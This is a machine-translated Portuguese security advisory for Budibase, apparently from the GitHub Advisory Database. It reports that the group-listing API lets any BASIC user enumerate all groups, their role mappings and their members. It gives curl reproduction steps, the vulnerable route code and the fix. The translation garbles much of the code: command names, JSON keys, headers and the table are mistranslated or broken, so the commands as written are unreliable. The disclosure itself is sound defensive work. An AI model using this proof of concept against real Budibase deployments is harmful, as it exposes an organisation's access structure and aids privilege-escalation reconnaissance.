O endpoint `GET / api/global/groups` no serviço de trabalhadores não tem intermediário de autorização baseado em funções. Qualquer usuário autenticado (incluindo o papel BASIC) pode enumerar todos os grupos de usuários no locatário, incluindo seus mapeamentos de funções, membros do usuário, permissões do construtor e a bandeira isDefault. ## Passos para Reprodução. ### 1. Iniciar Budibase ```` docker docker dosh run - d -- nome bubisase-poc -p 10000: 80 \ -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \ -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \ -e API_ENCRYPTION_KEY=api_enc_key_test 123456 \ -e BB_ADMIN_USER_EMAIL=admin@test.com \ -e BB_ADMIN_USER_PASSWORD=Palavra de Teste 123! \ budibase/ budibase: mais tardio.

até curl - sf 10000 / saúde; dorme 5; feito ```. ### 2. Login como administrador, criar um grupo de usuários, criar um usuário BASIC ```bash # Login como currículo de administração -s -c /tmp/bb_admin.txt -X POST 10000 /api/global/auth/default/ login \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"nome de usuário":"admin@test.com","password":"TestPassword 123!"}' # Criar um grupo de usuários (requer licença com recurso de grupos de usuários, ou usar a Nuvem de Budibase) # Em auto- hospedado sem licença, os grupos podem não estar disponíveis # Se disponíveis: curl -s - b /tmp/bb_admin.txt -X POST 10000 /api/global/grupos \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"nome":"Grupo de administração secreta","cor":"#ff 0000 ",,icon":"AdminPanelSettingsIcon","roles":{"app_abc 123 ":"ADMIN"}} '.

# Criar um usuário BASIC (sem construtor, sem administrador) curl -s -b /tmp/bb_admin.txt -X POST 10000 /api/global/ users \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"e- mail":"basic@test.com","password":"BasicPass 123!", "roles": {}, "admin": {"global":false}, "construtor": {"global":false}} ' ``` ### 3. Login como usuário BASIC e enumera todos os grupos (a vulnerabilidade) ```Bash # Login como BASIC user curl -s -c /tmp/bb_basic.txt -X POST 10000 /api/global/auth/default/ login \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"nome de usuário":"basic@test.com","password":"BasicPass 123!"}'.

# Lista TODOS os grupos (deve voltar 403, mas retorna 200 com dados completos) curl -s - b /tmp/bb_basic.txt 10000 /api/global/grupos ``` ** Esperado:** 403 Proibido (consistente com `GET /api/ global/groups/:id` que requer `builderOrAdmin`). ** Atual:** 200 OK com dados de grupo completos, incluindo mapeamentos de funções, listas de membros e bandeiras do construtor. ### Verificação independente (revisão de código). ```` bash # Na árvore de fonte de bubisa: grep - A 2 Pacotes 'global/groups'/worker/src/api/routes/global/groups.ts ```.

A saída mostra que o endpoint da lista não tem nenhum middleware de auth: ```.get("/api/global/groups", # <-- NÃO auth.builderOrAdmin requireFeature(Feature.USER_GROUPS), controller.fetch ``` Compare com o ponto de endpoint de um único grupo diretamente abaixo: ```.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.getById ``` Arquivo: `pacotes/trabalhador/src/api/routes/global/groups.ts`, linhas 40 - 44. O objetivo da lista é o único objetivo do grupo sem RBAC:.

EndpointAuth MiddlewareAuth-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------. Um usuário de papel BASIC pode enumerar: todos os nomes/ cores/ ícones do grupo, quais aplicativos cada grupo acessam e em que nível de funções, listas de membros do usuário (identificadores de usuário), bandeiras de permissão do construtor e a bandeira isDefault. Isto expõe a estrutura de controle de acesso organizacional e ajuda o reconhecimento para escalada de privilégios. ``` diff router.get("/api/global/groups", + auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.fetch ) ```. Registro de aconselhamento: GHSA- 4 qcj- m 5 wp- jmf 4. Identificadores relacionados: CVE- 2026 - 73301. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 24 T 21: 13: 07.000 Z e lista a sua última modificação como 2026 - 08 - 12 T 18: 57: 15.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N. Informações sobre software e versão afetadas: pacote npm @budibase/ server — ECOSISTEM: introduzido 0, última afetada 3.38.1. Classificação e evidência: identificadores de fraqueza CWE- 862. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.